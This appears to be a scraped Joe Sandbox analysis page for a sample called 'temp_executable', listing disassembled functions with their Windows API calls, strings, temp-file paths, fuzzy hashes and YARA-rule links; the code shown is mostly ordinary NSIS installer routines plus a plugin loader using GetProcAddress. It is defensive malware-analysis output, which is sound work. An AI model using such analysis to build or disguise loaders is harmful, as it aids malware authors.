Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\$Error writing temporary file. Make sure your temp folder is valid.
API String ID: 589700163-2188270913
Opcode ID: 5b032911993fa6072ca7f20f73d4f3d6e0cff76cb04f630808d27ad5f640f473
Instruction ID: 6d5cd2c23b7c5e8a6660ed42317bbe46aa043e331069955b4164b8205da208bc
Opcode Fuzzy Hash: 5b032911993fa6072ca7f20f73d4f3d6e0cff76cb04f630808d27ad5f640f473
Instruction Fuzzy Hash: 9E11D261B0063556DA3067298C4097B72E8DFA97A1756443BFDC6E72C0FB7C8CA193AC

Function 00405736 Relevance: 12.1, APIs: 8, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00405753
GetSysColor.USER32 ref: 0040578C
SetTextColor.GDI32(?), ref: 0040579F
SetBkMode.GDI32(?,?), ref: 004057AB
GetSysColor.USER32(?), ref: 004057BF
SetBkColor.GDI32(?,?), ref: 004057D5
DeleteObject.GDI32(?), ref: 004057F1
CreateBrushIndirect.GDI32(?), ref: 004057FB

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: bf0799ea3bd6f053e04a74c3ecacf9df28762d59f89d86d460fcd2570ffda868
Instruction ID: fd6d678b7fcced70b4665a1fbec2e56912b3eb02c270adc19d2dd25120f6a122
Opcode Fuzzy Hash: bf0799ea3bd6f053e04a74c3ecacf9df28762d59f89d86d460fcd2570ffda868
Instruction Fuzzy Hash: 4B21F675500B04DFDB749F28DA4895B77B4EF05710B108A3EE896B26A1DB38E814CF24

Function 00405D15 Relevance: 10.6, APIs: 7, Instructions: 76stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00424200,?,00000000,?,?), ref: 00405D47
lstrlenW.KERNEL32(?,00424200,?,00000000,?,?), ref: 00405D59
lstrcatW.KERNEL32(00424200,?,?,00424200,?,00000000,?,?), ref: 00405D74
SetWindowTextW.USER32(00424200,00424200), ref: 00405D8C
SendMessageW.USER32(00000000), ref: 00405DB3
SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 00405DCE
SendMessageW.USER32(00000000,00001013,00000000,00000000), ref: 00405DDB

Part of subcall function 00405E95: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,00000000,?,?,?,00000000,?,?), ref: 0040604B

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$TextWindow
String ID:
API String ID: 1759915248-0
Opcode ID: abf7321ecfe745b46f7b8ea960bd9c265c0882f09d776aa47d2a89f6dad764dc
Instruction ID: ac3c7827115ee855a696472e6a70c5e4fb7cac6e51cf912ccc90d208c1262af9
Opcode Fuzzy Hash: abf7321ecfe745b46f7b8ea960bd9c265c0882f09d776aa47d2a89f6dad764dc
Instruction Fuzzy Hash: 7B21F571A056206BD310AF55AC84A9BBBDCEF94350F44443FF548A3291C7B89D008AAD

Function 004056B5 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004056CE
GetMessagePos.USER32 ref: 004056D6
ScreenToClient.USER32(?,?), ref: 004056F0
SendMessageW.USER32(?,00001111,00000000,?), ref: 00405704
SendMessageW.USER32(?,0000113E,00000000,?), ref: 0040572C

Strings

f, xrefs: 00405706

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: c033d2a482c0bbee4868c7629423a8e69750951f4e6b473a84ec653bd2017e87
Instruction ID: 0216f53b5c1e39ec49102949a755e2bc9d8ef7e3372eb4174345f74bd41e4177
Opcode Fuzzy Hash: c033d2a482c0bbee4868c7629423a8e69750951f4e6b473a84ec653bd2017e87
Instruction Fuzzy Hash: C3014C7194020DBBEB01AF94CD45BEEBBB9EF44710F10412AFA50BA1E0C7B49A41DF54

Function 00401FB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00401FB9
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401FD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401FD8
ReleaseDC.USER32(?,00000000), ref: 00401FEB

Part of subcall function 00405E95: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,00000000,?,?,?,00000000,?,?), ref: 0040604B

CreateFontIndirectW.GDI32(0040C8C8), ref: 00402037

Strings

Times New Roman, xrefs: 0040201D

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcat
String ID: Times New Roman
API String ID: 4253744674-927190056
Opcode ID: 9f2a315a86747fca2e42ee02dfd95963893f875b0ab85644b2b496c98eb1a616
Instruction ID: a293f1e503c12f3834b95d63be9809c732b55947eac1385e5f26d009a2b4f9be
Opcode Fuzzy Hash: 9f2a315a86747fca2e42ee02dfd95963893f875b0ab85644b2b496c98eb1a616
Instruction Fuzzy Hash: 5401D473144780EFD300BBB49E8AA563BE8EB55706F10893EF685B71E1C9784109CB2D

Function 0040362A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00403648
MulDiv.KERNEL32(000CAC30,00000064,000CAC30), ref: 00403670
wsprintfW.USER32 ref: 00403680
SetWindowTextW.USER32(?,?), ref: 00403690
SetDlgItemTextW.USER32(?,00000406,?), ref: 004036A2

Strings

verifying installer: %d%%, xrefs: 0040367A

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 047d2cc0e248829387beeb5a8e07bbe74402e6ee51346e78a70c3337b09d8a04
Instruction ID: 23416ea20b8bc991085432565deaec88b6a19029d37e317e26b4fa0cf66bde53
Opcode Fuzzy Hash: 047d2cc0e248829387beeb5a8e07bbe74402e6ee51346e78a70c3337b09d8a04
Instruction Fuzzy Hash: F7016D71540208FBEF24AFA0DE86FAA3B69AB04305F00853EF646B51E0DBB99554CF5D

Function 6FC32209 Relevance: 9.1, APIs: 6, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 6FC312F8: GlobalAlloc.KERNELBASE(00000040,?,6FC311C4,-000000A0), ref: 6FC31302

GlobalFree.KERNEL32(00000000), ref: 6FC322F1
GlobalFree.KERNEL32(00000000), ref: 6FC32326

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 7b426cd6570a019916629c52efccb480e0c46297f702d7411f8f11a63442bb18
Instruction ID: fd9b8fd9d2c0dc81b8dc0e2923542f6150261dda9c30724719930924a0cc2021
Opcode Fuzzy Hash: 7b426cd6570a019916629c52efccb480e0c46297f702d7411f8f11a63442bb18
Instruction Fuzzy Hash: 9431E433A04622DFDF258F69CD64EAA77B9FF863A5B000569F601C6190E7339464CBE0

Function 6FC310C7 Relevance: 8.9, APIs: 7, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6FC3116B
GlobalFree.KERNEL32(00000000), ref: 6FC311AE
GlobalFree.KERNEL32(00000000), ref: 6FC311CD
GlobalAlloc.KERNEL32(00000040,?), ref: 6FC311E6
GlobalFree.KERNEL32 ref: 6FC3125C
GlobalFree.KERNEL32(?), ref: 6FC312A7
GlobalFree.KERNEL32(00000000), ref: 6FC312BF

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: ebefbb6a343c2502287e22e55665f98bb3f3fdaa7f1ca8f3b0dfa70ff1c0253d
Instruction ID: 70b20797b23721dc8be0cc63d8d08b99e42d757b397979e6e685c84a6beb5260
Opcode Fuzzy Hash: ebefbb6a343c2502287e22e55665f98bb3f3fdaa7f1ca8f3b0dfa70ff1c0253d
Instruction Fuzzy Hash: 04518077E007229FCB20CF6DC980A6A77F4FF4A394B00492AEA45D7250E736E915CB91

Function 6FC32049 Relevance: 7.6, APIs: 5, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6FC321BF

Part of subcall function 6FC312E1: lstrcpynW.KERNEL32(00000000,?,6FC3156A,?,6FC311C4,-000000A0), ref: 6FC312F1

GlobalAlloc.KERNEL32(00000040), ref: 6FC3212C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6FC3214C

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 92e1fde204657cc7566e59c786db025e89232e2a9abec962dfef11d09d6291b0
Instruction ID: dbd967a39b47cf024701162afdf7449ab04ad02ccd850dcad13909bbe0ce6983
Opcode Fuzzy Hash: 92e1fde204657cc7566e59c786db025e89232e2a9abec962dfef11d09d6291b0
Instruction Fuzzy Hash: C1412773D05726EFCB149F28CA54AE977B8FB063D0B40023EEA48DA144F7716954CAE0

Function 00401EEA Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401F03
GetClientRect.USER32(00000000,?), ref: 00401F4D
LoadImageW.USER32(00000000,?,00000100,?,?,00000100), ref: 00401F82
SendMessageW.USER32(00000000,00000172,00000100,00000000), ref: 00401F92
DeleteObject.GDI32(00000000), ref: 00401FA1

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7f9423f384d93fc0e3e6fbc7cac958838f77b0a9d1a07732a5146b80b1a3c62d
Instruction ID: a1357e6e01c620789306e575287b66343fc6a42a857d7aaea03cc6a10a526d0d
Opcode Fuzzy Hash: 7f9423f384d93fc0e3e6fbc7cac958838f77b0a9d1a07732a5146b80b1a3c62d
Instruction Fuzzy Hash: 1C21B6726093029FD340DF64DE84A6BB7E8EB88304F04093EF985E62A1D778D840DB59

Function 6FC31F7B Relevance: 7.5, APIs: 5, Instructions: 38memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000808,00000000,6FC32B4C,00000000,00000808), ref: 6FC31F8C
GlobalAlloc.KERNEL32(00000040,00000000), ref: 6FC31F97
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6FC31FAB
GetProcAddress.KERNEL32(?,00000000), ref: 6FC31FB6
GlobalFree.KERNEL32(00000000), ref: 6FC31FBF

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: ef712a2423256fb01bb0461b7c77f082ba2ddbb04054309ace3c51f7cecdb2e6
Instruction ID: d9ac6cc4d7fdc0a6fefb43e28a0fab36886da1966a9082666a362b19cda00f7b
Opcode Fuzzy Hash: ef712a2423256fb01bb0461b7c77f082ba2ddbb04054309ace3c51f7cecdb2e6
Instruction Fuzzy Hash: DAF0C033208519BBCA201AE7DC0CD97BE7DFB8B6FAB160215F719D11A0C56368108771

Function 0040553B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004211D0,%u.%u%s%s,?,00000000,00000000,?,000000DC,00000000,?,000000DF,004211D0,?,?,?,?,?), ref: 004055FA
wsprintfW.USER32 ref: 00405607
SetDlgItemTextW.USER32(?,004211D0), ref: 0040561E

Strings

%u.%u%s%s, xrefs: 004055F4

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 1657763a395a501c771c527054f82eb2be7fb15598214c574ca57117f0c03a97
Instruction ID: 55cf9957bdbe08eeb8051450228c2b429c3200e40720c4f5a9b0f695fa8f14cf
Opcode Fuzzy Hash: 1657763a395a501c771c527054f82eb2be7fb15598214c574ca57117f0c03a97
Instruction Fuzzy Hash: 902106737003142FD720A9799C81FAB7289CBC5364F01473EFE6AF71D1E979581885A5

Function 00401DBA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,?,?,?), ref: 00401E2C
SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00401E48

Strings

!, xrefs: 00401DF8

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 717c05464dbdde1d43877d7e05f7376ad78b7270f4b2221d83dfb1c24934849a
Instruction ID: 49af8de353e46cf11236f791407a5cbcba9ae5af57995df827a2b81b7b260957
Opcode Fuzzy Hash: 717c05464dbdde1d43877d7e05f7376ad78b7270f4b2221d83dfb1c24934849a
Instruction Fuzzy Hash: 44212471209301AFE714AF21C846A2FBBE8EF84755F00093FF585A21E0C6B98D01CA5A

Function 6FC31F1E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 6FC31F51
lstrcpyW.KERNEL32(?,error,00001018,6FC31765,00000000,?), ref: 6FC31F71

Strings

error, xrefs: 6FC31F67, 6FC31F6F
callback%d, xrefs: 6FC31F4B

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: lstrcpywsprintf
String ID: callback%d$error
API String ID: 2408954437-1307476583
Opcode ID: 8f683150b883aa23e48894f463d90198684e0149c8f81b6ddfc0e009bda34a50
Instruction ID: 5ed1d06a84ed2bc492cc0ad4c1f9e85869cc7e836f9621b2fa861347f44ed627
Opcode Fuzzy Hash: 8f683150b883aa23e48894f463d90198684e0149c8f81b6ddfc0e009bda34a50
Instruction Fuzzy Hash: 96F01C36B04120AFD7088B08D948DBA73A5FF8A390F0585A8F9599B211D775EC548B95

Function 00406531 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403C9E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406537
CharPrevW.USER32(?,00000000), ref: 00406542
lstrcatW.KERNEL32(?,004082B0), ref: 00406554

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406531

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: d05188d841616a9e1b7d59f18f8490afccaafd82e288364c4b54bb9922993767
Instruction ID: cc5554a2ad12a3b2ce5c355aa705355a4eb5105ff62047e1dcc734cc64aad723
Opcode Fuzzy Hash: d05188d841616a9e1b7d59f18f8490afccaafd82e288364c4b54bb9922993767
Instruction Fuzzy Hash: B6D05E31102924AFC2026B58AE08D9B77ACFF46301301406EFAC2B3160CB745D5287ED

Function 0040285F Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 70stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll), ref: 004028B9

Strings

C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll, xrefs: 00402870, 0040288F, 004028AA, 004028B8, 00402905
C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp, xrefs: 004028AB

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
